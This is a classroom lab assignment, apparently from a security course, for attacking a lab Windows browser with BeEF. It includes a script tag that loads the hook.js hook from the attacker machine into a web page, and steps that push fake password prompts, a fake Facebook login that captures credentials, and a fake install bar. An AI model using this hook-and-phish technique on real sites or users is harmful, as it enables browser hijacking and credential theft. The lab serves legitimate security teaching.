BeEF Client Side Attack

Contents

Time required: 30 minutes

Kali Linux and Windows should be on the same NAT network that we've been using.

Install BeEf

1. At a terminal prompt:

```
sudo apt update
sudo apt dist-upgrade -y
sudo apt install beef-xss
```

2. Go to the menu → Type **beef** → Click **beef xss**
3. Enter your credentials for sudo.
4. Type in a different password for the beef user: Password02
5. When the web browser interface shows up.
    a. Username: beef
    b. Password: Password02

Setup BeEf Client Side Attack

There are many ways to get the user to run malicious code. DNS spoof requests, MITM injection, spoofed email, or social engineer the target to open the hook page.

We are going to change the local web site on Kali to include a malicious script that will hook the web browser of our victim computer to our Beef program.

1. In the Terminal: **cd /var/www/html**

This is the folder where the files for apache2 web server on your local Kali Linux is stored. **index.html** is the default page that is loaded when someone browses to the web site.

2. Type: **sudo geany index.html**
3. Delete all the text in the page.
4. Insert the following script.

```
<script src="http://127.0.0.1:3000/hook.js"></script>
```

5. Change the 127.0.0.1 IP address to the local IP address of your Kali machine.
6. **CTRL S** to save the file.
7. At a terminal prompt, start the Apache web server: **sudo service apache2 start**
8. The terminal prompt should reappear quickly. Unless there is an error, you are good to go.

Hook the Target

All these exploits were tested on Edge.

1. Go to your Windows Target machine.
2. In a web browser go to: http://127.0.0.1 (Substitute your Kali IP for 127.0.0.1)
3. The web page will be blank. The script will run without any evidence.
4. Go to **BeEF** in your Kali machine: You should see your Windows target machine IP address under **Online Browsers**.
5. Click on the target machine.
6. Go to the **Details** tab → look at the information about the target web browser.
7. Go to the **Network** tab → **Map**. You will see a visual view of the connection.

Attack the Target

1. In **BeEf** → **Commands** tab → **Browser** → **Create Alert Dialog**

2. Type in a message in the Alert Text → Click **Execute**.
3. There will be an alert on the Target machine.
4. **Insert a screenshot:**

Click or tap here to enter text.

5. In **BeEf → Browser → Create Prompt Dialog** → Type in **Please Enter Your Password:** → Click **Execute.**
6. There will be a logon prompt on the Target machine.
7. **Insert a screenshot:**

Click or tap here to enter text.

8. In **BeEf → Misc → Raw JavaScript** → Click **Execute**.
9. The Javascript will execute in the Target Browser
10. **Insert a screenshot:**

Click or tap here to enter text.

11. In **BeEf → Browser → Redirect Browser (Rick Roll)**→ Click **Execute**.
12. The Target browser will show video unavailable. Click Watch on YouTube.
13. **Insert a screenshot:**

Click or tap here to enter text.

14. In **BeEf → Social Engineering → Pretty Theft** → Click **Execute**.
15. The Target browser will show a fake Facebook Login.
16. **Insert a screenshot:**

Click or tap here to enter text.

17. Type in a fake username and password.
18. **From BeEF → Insert a screenshot of the captured username and password:**

Click or tap here to enter text.

19. In **BeEF → Social Engineering → Fake Notification Bar (IE)** → Click **Execute**.
20. The Target browser should show a fake notification bar wanting to install software.

21. **Insert a screenshot:**

Click or tap here to enter text.

Assignment Submission

Attach all program files and a screenshot of your username and password as shown above to the assignment in BlackBoard.